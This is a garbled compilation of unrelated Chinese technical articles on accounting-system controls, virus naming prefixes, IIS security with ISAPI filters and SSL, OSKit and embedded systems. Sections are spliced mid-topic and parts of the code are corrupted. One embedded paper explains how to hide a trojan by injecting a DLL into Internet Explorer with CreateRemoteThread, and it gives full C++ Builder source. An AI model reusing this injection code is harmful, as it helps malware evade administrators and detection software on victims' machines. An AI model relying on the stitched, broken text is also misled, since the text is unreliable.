数据处理控制是指对计算机会计系统进行数据处理的有效性和可靠性进行的控制。数据处理控制分为有效性控制和文件控制。有效性控制包括数字的核对、对字段、记录的长度检查、代码和数值有效范围的检查、记录总数的检查等。文件检查包括检查文件长度、检查文件的标识、检查文件是否被感染病毒等。
(五)数据输出控制
数据输出控制是企业为了保证输出信息的准确、可靠而采取的各种控制措施。输出数据控制一般应检查输出数据是否与输入数据相一致,输出数据是否完整,输出数据是否能满足使用部门的需要,数据的发送对象、份数应有明确的规定,要建立标准化的报告编号、收发、保管工作等。
(六)数据存储和检索控制
为了确保计算机会计系统产生的数据和信息被适当地储存,便于调用、更新和检索,企业应当对储存数据的各种磁盘或光盘作好必要的标号,文件的修改、更新等操作都应附有修改通知书、更新通知书等书面授权证明,对整个修改更新过程都应作好登记,计算机会计系统应具有必要的自动记录能力,以便业务人员或审计人员查询或跟踪检查。
网络或者系统漏洞进行传播,很大部分的蠕虫病毒都有向外发送带毒邮件,阻塞网络的特性。比如冲击波(阻塞网络),小邮差(发带毒邮件)等。
(一)木马病毒、黑客病毒木马病毒其前缀是:Trojan,黑客病毒前缀名一般为Hack。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,而黑客病毒则有一个可视的界面,能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的,即木马病毒负责侵入用户的电脑,而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马Trojan.QQ3344,有大家可能遇见比较多的针对网络游戏的木马病毒如Trojan.LMir.PSW.60。这里补充一点,病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能(这些字母一般都为密码的英文password的缩写)一些黑客程序如:网络枭雄(Hack.Nether.C1ient)等。
(二)宏病毒其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。宏病毒的前缀是:Macro,第二前缀是:Word、Word97、Excel、Excet97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97作为第二前缀,格式是:Macro.Word97;凡是只感染WORD97以后版本WORD文档的病毒采用Word作为第二前缀,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97作为第二前缀,格式是:
(三)脚本病毒脚本病毒的前缀是:Script。脚本病毒的公有特性是使用脚本语言编写,通过网页进行的传播的病毒,如红色代码(Script.Redlof)可不是我们的老大代码兄哦。脚本病毒还会有如下前缀:VBS、js(表明是何种脚本编写的),如欢乐时光(VBS.Happytime)、十四日(Js.Fortnight.C.S)等。推荐阅读:远程开放教育软件工程专业毕业论文
Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel作为第二前缀,格式是:Macro.Excel,依此类推。
(四)后门病毒后门病毒的前缀是:Backdoor。该类病毒的公有特性是通过网络传播,给系统开后门,给用户电脑带来安全隐患。如很多朋友遇到过的IRC后f]Backdoor.IRCBot。
(五)破坏性程序病毒破坏性程序病毒的前缀是:Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。如:格式化c盘(Harm.formatC.f)、杀手命令(Harm.Command.Killer)等。
(六)玩笑病毒玩笑病毒的前缀是:Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒会做出各种破坏操作来吓唬用户,其实病毒并没有对用户电脑进行任何破坏。如:女鬼(Joke.Girlghost)病毒。
关键词Internet服务应用编程接口信息安全性Internet信息服务
一、引言
信息安全包括防止系统存储和传输的信息被故意或偶然地非授权泄露、更改、破坏或被非法的系统辩识和控制,确保信息的保密性和可控性。目前信息传输的途径主要是网络,随着网络的开放性、互连性和共享性程度的扩大,使得网络的安全问题变得更加突出,成为信息安全的重要环节[1]。
在以WindowsNT(包括WindowsNT4.0,Windows2000Server系列,windowsServer2003)为操作系统的服务器上通过Internet信息服务器(InternetInformationServer,IIS)程序为客户的请求提供服务。维护IIS信息安全的方法包括公共网关接口(CommonGatewayInterface,CGI),Internet服务应用编程接口(InternetServerAPI,ISAPI)的过滤器(Filter)程序和安全套接字(SecuritySocketLayer,SSL)等。CGI是最常用的方法,可以实现基于IIS的信息存储和传输的安全,用CGI编制的程序由IIS调用,但运行在自己的进程内,所以其运行的速度较慢。ISAPIFilter主要实现信息存储的安全,是以动态链接库的形式封装,直接运行在IIS进程内,运行速度较快。SSL可以用于信息传输的安全,直接集成在IIS中。将ISAPIFilter和SSL结合即可达到信息存储和传输的安全,本文即通过这种方法实现基于IIS的信息安全。
二、ISAPIFilter的作用机制
ISAPI是微软提供的基于WindowsNT(包括WindowsNT4.0,Windows2000Server系列,windowsServer2003)的Internet编程接口,利用ISAPI编制的应用程序以动态链接库的形式封装,直接运行在IIS进程中。ISAPI实现的应用程序包括扩展和过滤器两种形式,ISAPI扩展可以响应客户的请求,执行特殊的功能,而过滤器可以实现数据压缩、重定向、加密和身份验证等功能[2]。
图1过滤器的作用机制
ISAPI过滤器运行在IIS的前端,可以处理IIS提供的每一步服务。ISAPI过滤器的作用机制如图1所示。过滤器在IIS进程启动时装载,并运行GetFilterVison函数,GetFilterVison函数的目的是设置过滤器的优先级并将事件通知的关注点注册到过滤器。当系统中存在多个过滤器时需要通过设置优先级确定过滤器的执行顺序,而事件通知的关注点是过滤器可以处理的服务。当客户请求服务时,IIS首先启动过滤器程序,然后根据过滤器注册的关注点调用过滤器实现的事件处理函数。
三、ISAPI过滤器实现信息存储安全
通过ISAPI过滤器可以对客户的身份进行验证,控制访问的客户,从而实现系统存储的信息安全。在ISAPI过滤器中,验证客户身份需要注册的事件关注点是SF_AUTHENTICATION事件,相应的事件处理函数是OnAuthentication。客户在提交访问后,IIS启动新的线程为客户提供服务,在IIS线程验证客户的身份前会首先查看过滤器中有无SF_AUTHENTICATION事件关注点,若有,则执行过滤器的OnAuthentication函数。所以可以通过OnAuthentication函数在IIS线程前对客户的身份进行验证。
图2身份验证过滤器基本架构
IIS以HTTP的挑战/响应机制结合WindowsNT(包括WindowsNT4.0,Windows2000Server系列,windowsServer2003)的用户数据库验证客户的身份,而WindowsNT(包括WindowsNT4.0,Windows2000Server系列,windowsServer2003)的用户数目是有限的,并且直接以NT用户访问存在着不安全的因素,所以在过滤器中引入专用的用户访问数据库,数据库中包含客户的密码和用户名以及对应的系统密码和用户名身份验证过滤器的基本结构如图2所示。
客户匿名访问时,过滤器直接返回,保证客户可以访问非保密的资源。当客户非匿名访问时,过滤器查找用户数据库,找到对应的系统密码和用户名,并替代客户的密码和用户名,然后在IIS中用替换的系统密码和用户名对客户的身份进行验证。采用这种方法使得客户输入的密码和用户名并不是系统真正的密码和用户名,既保证了客户的数量又保护了系统的安全。
ISAPI身份验证过滤器运行在多线程的IIS进程中,每一个线程都将调用过滤器程序,而与数据库的连接很占系统的资源,当访问的客户超过一定的数量时,可能会导致系统的崩溃。在实现时可以通过一段缓存解决这个问题,具体方法是过滤器装载时在内存中开辟一段空间,用以保存近来访问服务器的客户的密码和用户名以及对应的系统密码和用户名。在客户访问时,过滤器先查找缓存中有无客户的密码和用户名,若没有再查找数据库,并将查找到的内容写入缓存中,由于查找缓存的时间及占用的资源远远小于对数据库的查找,所以可以大大提高过滤器的执行效率。
ISAPI过滤器实现的过程中应注意的问题主要是内存泄漏和多线程。避免的方法在于选择支持多线程的数据库,并且保证缓存的单线程访问以及释放占用的内存。
四、SSL实现信息传输安全
图3SSL会话过程
在Internet传输的所有数据都暴露于任何网络客户面前,任何对通信进行监测的人都可以对通信的数据进行截取和修改。保证数据传输的保密性、完整性和安全性的关键在于防止网络的监听和篡改。SSL技术为应用层间数据通信提供安全的途径,它位于可靠的传输层之上,为高层的应用提供透明的服务,保证传输信息的隐私性、可靠性和用户的非否认性。
SSL通信分两个阶段:连接阶段和数据传输阶段。在连接阶段,建立安全连接,一旦算法达成协议,就交换密钥,接着验证身份,然后开始数据传输。在数据传输阶段,信息传输到SSL时通过加密或解密后向下或向上传输。SSL要求在客户端与服务器端建立通信渠道,通信渠道的建立通过客户与服务器的握手来完成。具体过程如图3所示。
客户和服务器之间通过相互询问确定最终的加密算法。询问信息提供了建立安全渠道的重要信息。服务器端通过证书确定客户的身份,然后发出确认和结束信息结束握手阶段,开始正常的数据传输。数据在传输过程中被分解为许多信息,同时用会话密钥加密并使用数字签名。接收端在试图解密数据之前首先要验证数字签名[2]。
在IIS中可以方便的通过SSL建立数据传输的安全性。服务器建立SSL链接之前必须安装证书。证书可以使用MicrosoftCertificateServer生成。新密钥的创建通过IIS密钥管理器完成,它会根据向导自动请求服务器上安装的CertificateServer生成证书。在密钥建成后需要通过IIS的控制台配置SSL,可以配置的选项包括密钥设置、是否要求客户端证书以及客户端证书映射等。在这些设置完成后就可以实现信息传输的安全性。
五、结束语
以ISAPI过滤器程序保护系统存储信息安全的方法,采用DLL的形式运行在IIS进程中,可以通过用户数据库和缓存扩充用户的数量并提高过滤器运行的效率。用SSL保护信息传输的安全是目前常用的也是较好的方法之一。本文将二者结合给出了基于IIS进程的信息安全策略,通过作者在实际应用中的检验,确定了方案的可行性。
参考文献
关键字组件重用操作系统OSKit
1引言
当前,操作系统的功能不断扩展,操作系统的类型呈现出多样化的趋势。一个小规模的开发小组已经不可能完全从头开始实现一个实用的操作系统,而一般情况下,研究人员只对操作系统的一些特定领域感兴趣,而对于另外一些元素,如启动加载代码、核心启动代码、设备驱动程序和内存分配代码等往往不感兴趣,但是一个可运行的原型系统又必须包含这些内容。编写这些基础结构延缓了操作系统研究项目的进度,同时也增加了进行操作系统研究的代价。为了解决这一问题,犹他大学的FLUX研究小组开发了OSKit,它提供了一个框架和一组模块化的、具有简单接口的库以及一组清晰的、可重用的OS组件。OSKit可以用来构建操作系统内核、外层服务和其他核心OS功能模块。OSKit提供了各种功能模块,诸如简单自举,一个可用于内核的最小化POSIX环境、与物理内存和其约束一致的内存管理、广泛的调试支持,以及高层子系统如协议栈和文件系统。开发者可以根据自己的研究兴趣或所要考虑的性能来使用这些模块,或用他们自己的模块来替代标准的OSKit模块。
OSKit公开了它内部的实现细节,允许用户从成熟的操作系统中不加修改地提取代码,然后通过一小部分经过仔细设计的粘接代码将它们合并到一起,隔离它们的依赖性,并输出良好定义的接口。OSKit使用这一技术整合了许多稳定而成熟的源代码,包括设备驱动、文件系统、网络协议等等。实践表明,使用组件软件架构和重用技术会给操作系统实现领域带来大的影响。
2组件技术简介
组件技术是一种较新的软件开发技术。到目前为止,还难以确定组件技术的明确定义。比如,对组件技术的常见说法有以下这些:“二进制软件单元”、“任意场合可部署的软件”、“特别适合第三方开发”和“规范定义的接口”等等。大致上可以这样理解:所谓组件,其实就是一种可部署软件的代码包,其中包括某些可执行模块。组件单独开发并作为软件单元使用,它具有明确的接口,软件就是通过这些接口调用组件所能提供的服务,多种组件可以联合起来构成更大型的组件乃至直接建立整个系统。组件的实现必须支持一种或者多种其用户所希望获得的接口。实现组件并不一定需要采用面向对象语言。为了构造新应用程序,软件开发人员找出适当的组件,将这些组件加入到正在开发中的应用程序,同时对应用程序进行测试并保证应用程序的组装工作按照预定的规划正常进行。采用组件技术能降低开发、测试和维护成本,提高可靠性和稳定性。
3Oskit组件综述
OSKIT的组件库提供了一般情况下更高层的功能,它通常只对外开放一些相关的公用调用接口。目标系统通过OSKit的面向对象的COM接口来与这些组件进行交互。以下几节概述了OSKit所提供的组件。
3.1引导程序
大多数操作系统多有自身的启动加载机制,彼此互不兼容。这种加载机制的多样性并不是由于每个OS所要求的自举服务不同而引起,而是由于构建启动加载器的特定方式造成的。因为从操作系统研究的立场来看,启动加载器是一个令人不敢兴趣的领域,因此OS开发者通常进行一个最小化、快捷的设计。由于设计理念和要求的轻微差别,每个启动加载器都不适用于下一个OS。为了解决这个问题,OSKit直接支持多启动标准,这一标准是由几个OS项目的成员共同设计的,它的目的是提供一个简单而通用的启动加载器与OS内核间的接口,从而允许一个启动加载器加载任何兼容的OS。
在进行操作系统研究时,多启动标准非常有用,这其中的主要原因是启动加载器在加载内核自身的同时还具有加载附加文件或者启动模块的能力。这里的一个启动模块只是一个普通文件,启动加载器不以任何方式解释它,而仅仅把它随同内核映像一起加载到保留物理内存块中。在启动内核时,启动加载器提供给内核以下内容:物理地址的列表、所有已加载的启动模块的大小,以及与每个模块相联系的由用户定义的字符串。这些启动模块和与它们相联系的用户定义的字符串由内核解释。这样做的目的是为了通过提供内核启动时需要的数据,诸如初始化程序、设备驱动和文件系统服务器,来减轻内核启动的负担。
3.2核心支持库
OSKit核心支持库的主要用途是让客户OS更容易访问硬件设施。它包含了一个较大的实用函数和符号定义的集合,该集合对于管理模式代码是非常具体的。与此相对应,OSKit的大多数其他库在用户模式代码中通常很有用。和OSKit的其余部分所不同的是,多数核心支持代码必须是针对特定系统结构的,而这些特定机器的细节对客户OS也是有用的。例如,在x86机器上,核心支持库包含一些函数,用来创建和操纵x86页表和段寄存器。其他OSKit组件通常提供建立在这些低层机制上的与体系结构无关的设施,但是为了提供最大的灵活性,与特定结构相关的接口始终可以被访问。
OSKit核心支持库在x86体系结构上尤为重要,因为该体系结构的OS级编程环境特别复杂和模糊。核心支持库仔细地设置了一个基本的32位执行环境(为了与MS-DOS兼容,x86处理器通常以16位模式开始),初始化段和页转换表,安装一个中断向量表,并提供缺省的陷阱和中断处理程序。当然,客户OS能够修改或重载这些行为。然而,在缺省情况下,核心支持库自动地做所有必要的工作,以便使处理器进入一个方便的执行环境,此时中断、陷阱、调试以及其他标准设施已经如预期的那样开始工作。该库在缺省情况下自动地定位所有随内核加载的启动模块,并保留它们所在的物理内存。接下来,应用程序可以很容易使用它们。客户OS只需以标准C语言风格提供一个main()函数。一切都设置好以后,内核支持库将用所有参数和由启动加载器传递过来的环境变量来调用它。
3.3内存管理库
如同在一个标准C语言库中实现的malloc()一样,内存管理代码典型地用于用户空间。通常并不适用于内核。设备驱动常常需要分配特定类型的内存,并伴随具体的调整属性。例如,对于内建的DMA控制器只能访问最初的16M物理内存。为解决这些内存管理问题,OSKit包含了两个简单而灵活的内存管理库:(1)基于队列的内存管理器(或称LMM),它提供了功能强大且高效的原语来进行分配管理,并支持在一个池中管理多种类型的内存。(2)地址映射管理器(或称AMM)被设计用来管理不必直接映射到物理内存或虚拟内存的地址空间,它对OS的其他方面提供了类似的支持,诸如进程地址空间、分页、空闲块或IPC名字空间的管理。尽管这些库可以很容易地应用在用户空间,但实际上它们是被特别设计用来满足OS内核的需求。
3.4最小C语言库
成熟的OS内核一般都包含着相当数量的仅仅用来重新实现基本的C语言库函数如printf()和malloc()的代码。与此形成对比的是,OSKit提供了一个最小化C语言函数库,它围绕着最小化依赖性而不是最大化函数性和性能的原则来设计。
3.5调试支持
OSKit的一个最实用的好处是:给定一个适当的硬件设置,它立刻就能提供给OS开发者一个完全源代码级的内核调试环境。OSKit内核支持库包括一个可用于GNU调试器(GDB)的串行存根模块,它在客户OS环境中处理陷阱,并使用GDB的标准远程调试协议通过一个串行程序与运行在另一台机器上的GDB通信。甚至当客户机OS执行自己的陷阱处理时,OSKit的GDB存根模块也是可用的。如果客户OS提供适当的钩子,它甚至支持多线程调试。除了基本的调试器支持,OSKit也提供了一个内存分配调试库,它可以跟踪内存分配并检测一般的错误,如缓冲区溢出和释放已释放的内存。这个库提供了与许多普通应用程序调试器相似的功能性,所不同的是它运行在由OSKit提供的最小内核环境中。3.6设备驱动支持
在OS开发和维护中最艰巨的一个任务是支持多种多样的I/O硬件。这些复杂的设备常会含有潜在的错误,而新硬件的又常常伴随着不兼容的软件接口。由于这些原因,OSKit采用了为现有内核开发的稳定的、经过充分测试的驱动程序。OSKit使用了一种封装技术,将现有的驱动程序代码基本上未加修改地合并到OSKit中。这些现有的驱动程序被一个OSKit粘结代码层所包装,从而使得这些驱动程序可以在与开发它们的环境完全不同的环境中工作。目前,来自Linux的大多数以太网卡、SCSI和IDE磁盘的设备驱动程序被包括进来,总数超过了五十种。用同样的方式,来自FreeBSD的八个字符设备驱动程序也被包含了进来,它们支持标准PC控制台和串口及不同的多串口板。由于OSKit把这些驱动仔细地进行了包装,FreeBSD驱动程序可以与Linux驱动程序一起工作。
3.7协议栈
OSKit提供了一个完整的TCP/IP网络协议栈。如同驱动程序一样,有关网络的代码也可以通过封装机制被合并进来。OSKit当前可以从Linux中获取网络设备驱动程序,它们是PC平台可获得的最大的免费资源。OSKit的网络组件继承于FreeBSD4.4,它通常被认为具有更多成熟的网络协议。这显示了使用封装机制将现有软件包装成灵活的组件的第二个优点:即从不同的资源中获取最好的组件,并让它们一起被使用。
3.8文件系统
通过使用封装技术,OSKit吸收了NetBSD的基于磁盘的文件系统代码。NetBSD之所以被选择为首要资源库,是因为在可用的系统中,它的文件系统代码被最清晰地分离了出来,而FreeBSD和Linux的文件系统与它们的虚拟内存系统结合的更紧密。当前,OSKit也把Linux文件系统合并了进来,以便能够支持多种类型的文件系统格式,如Windows95、OS/2和SystemV的文件系统格式等等。
OSKit文件系统输出的COM接口类似于许多Unix文件系统所使用的内部VFS接口。这些接口具有很好的粒度,使我们可以不必接触OSKit文件系统的内部。例如,OSKit接口只接受简单的路径名组件,允许安全封装的代码执行适当的访问许可检查。
4OSKit的现状
自从在1996年6月了OSKit的第一个公开发行版以来,OSKit已经更新了多次,每次更新都增加了一些算法,并修正了一些错误。最新的发行版是2002年3月的版本。由此可见,OSKit一直处于操作系统开发平台的前沿,其自身也在不断完善和发展。
5结论
作为一个操作系统研究与开发的平台,OSKit大大减轻了操作系统研究与开发者的负担。它可以让开发人员避开复杂的底层,而把兴趣集中与他们所感兴趣的领域。开发者可以用自己编写的组件来取代OSKit中的部分组件,以满足自己特定的需要,从而丰富了操作系统的应用层。总之,OSKit满足了实际客户系统的需求,有助于操作系统的研究与开发。
参考文献
(1)汤海京基于面向对象操作系统开发平台(OSKit)的分析与程序设计www-/developerWorks/linux/kernel/oskit/part1/index.shtml
(2)MichaelHohmuthUsingtheOSKitasabaseforL4applications
摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。
关键字进程线程木马动态链接库
木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。
1基本原理
在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
2实现方法
为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
3实施步骤
1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
OpenProcess()函数打开宿主进程。
2)用VirtualAllocEx()函数分配远程进程地址空间中的
内存。
3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4)拷贝到步骤二已经分配的内存中。
5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
6)用CreateRemoteThread()函数在远程进程中创建一个线程。
7)它调用正确的LoadlibraryA()函数。
8)为它传递步骤二中分配的内存地址。
4具体实例
下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//该头文件包涵了进程操作的API函数
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隐藏的DLL文件名
HANDLEhProcessSnap=NULL;//进程快照句柄
HANDLEhRemoteProcess;//远程进程句柄
LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放远程线程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失败返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//获取第一个进程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主进程,以IEXPLORE.EXE为例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
}
else
{
MessageBox(NULL,"取第一个进程失败","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打开远程进程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假设hide.dll是待隐藏的进程
intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申请存放文件名的空间
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//创建远程线
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//关闭进程快照
}
该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//获取当前进程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5结束语
进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。
参考文献
嵌入式系统通常是一个包含微处理器的特殊计算机系统,是一个较大系统或设备的组成部分,它在很大程度上决定了设备的功能特性。许多具备数字接口的设备如微波设备、录像机(VCR)和汽车等都会用到嵌入式系统。有些嵌入式系统需要使用操作系统,有些则用单个程序实现整个逻辑,但所有嵌入式系统提供的功能都要比通用计算系统更专业些。嵌入式系统功能包括:
1.监视环境-从输入传感器读取数据,然后处理数据并显示结果。
2.控制环境-产生并向激励器发送命令。
3.转换信息-转换并处理收集到的数据。
虽然通过传感器和激励器完成与外部世界的交互是嵌入式系统的重要特点,但这些嵌入式系统还提供适合它们所在设备的特殊功能。嵌入式系统一般用来执行控制程序、有限状态机和信号处理算法。这些系统还必须检测内部计算环境和周围电磁系统中发生的故障并对此做出响应。
嵌入式系统特性
嵌入式系统的设计挑战是使嵌入式系统的独特性能与设备的特殊约束条件相一致。以下是一些嵌入式系统的重要特性:
1.特殊应用系统-嵌入式系统不同于通用处理器,它针对特殊应用进行了优化。
2.反应性系统-反应性计算的意思是系统(主要是软件部分)根据传感器信息对环境作出响应,并利用激励器控制环境,同时系统速度能与环境速度同步。
3.分布式-嵌入式系统的一般特征是多个通信进程在多个通过通信链路链接的CPU或ASIC上运行。
4.异类性-不同的嵌入式系统一般具有不同的结构,以便在处理严格设计约束的嵌入式系统时能够提供更好的设计便利性。
5.苛刻环境-许多嵌入式系统并不工作在受控的环境中,因此它们必须能够经受过热、振动、冲击、电源波动和其它恶劣的物理环境条件的考验。
6.系统安全性和可靠性-由于嵌入式系统复杂度和运算量的不断增长,需要更多地考虑系统安全因素。
7.小型化、重量轻-为了达到便携目的,许多嵌入式系统的重量必须设计得很轻。
8.成本敏感性-不同的嵌入式系统对成本的敏感性有很大的不同。
实时系统的特性
实时系统要求在外部环境指定的时间间隔内对来自环境的激励信号作出响应(包括物理时间的过渡)。从输入时间到输出时间的延迟必须足够小,以满足可以接受的时间值。通常实时系统需要对环境作出连续及时的响应。
计算的正确性不仅依赖于结果,而且取决于输出发生的时间。一个实时系统必须满足有限响应时间约束条件,否则会产生严重的后果。如果后果是性能的劣化而不是故障,那么这种系统可以看作是一个软实时系统。如果后果是系统发生故障,那么这种系统就是一种硬实时系统。
实时系统有反应式和嵌入式两种类型。反应式实时系统会与环境发生连续的互作用,而嵌入式实时系统主要用于控制大型系统中安装的特殊硬件。
嵌入式系统开发生命周期
许多系统设计工程师都会经历硬件/软件协同设计的过程(图1),此过程中硬件与软件将同时进行开发。理解硬件与软件功能相互之间的关系及界限有助于确保设计要求得到完整正确的理解和实现。
早在设计要求的定义与分析阶段,系统开发人员就必须与设计工程师协同分配硬件或/和软件方面的要求。这种分配的依据是早期系统仿真、原型设计和行为建模结果、工程师自己的经验以及上文提及的各种因素权衡结果(图2)。一旦分配结束,就可以立即着手具体的设计和实现。实时系统开发中软硬件的并行设计会使用到各种分析技术,包括:
1.硬件与软件仿真;
2.硬件/软件协同仿真;
3.可调度的建模技术,如速率恒定分析;
4.原型设计和渐进式开发。
可以在各种抽象层次使用的仿真技术主要用于开展早期的性能评估。低层仿真可以用来为总线宽度和数据流程建模,这对性能评估是非常有用的。高层仿真可以满足功能的交互,并促成硬件/软件权衡研究及有效性设计。利用仿真可以将一个复杂的系统向下抽象成基础组件和行为。仿真还助于解决功能性问题(数据与算法)、行为(进程排序)或性能问题(资源利用、吞吐量和时序)。
理解设计要求
在作执行任何类型的处理器评估时,首先要详细理解用户的功能和非功能性要求。功能性要求通常比较容易获得,而非功能性要求较难定量测量。但对于实时系统来说,定义响应时间这样的要求是非常重要的。实时要求可以有以下几种:
1.激励-激励(S-S):到系统去的两个激励之间的实时关系;
2.激励-响应(S-R):一个激励与来自系统的一个后序响应之间的实时关系;
3.响应-激励(R-S):一个响应与到系统去的一个后序激励之间的实时关系;
4.响应-响应(R-R):来自系统的两个响应之间的实时关系。
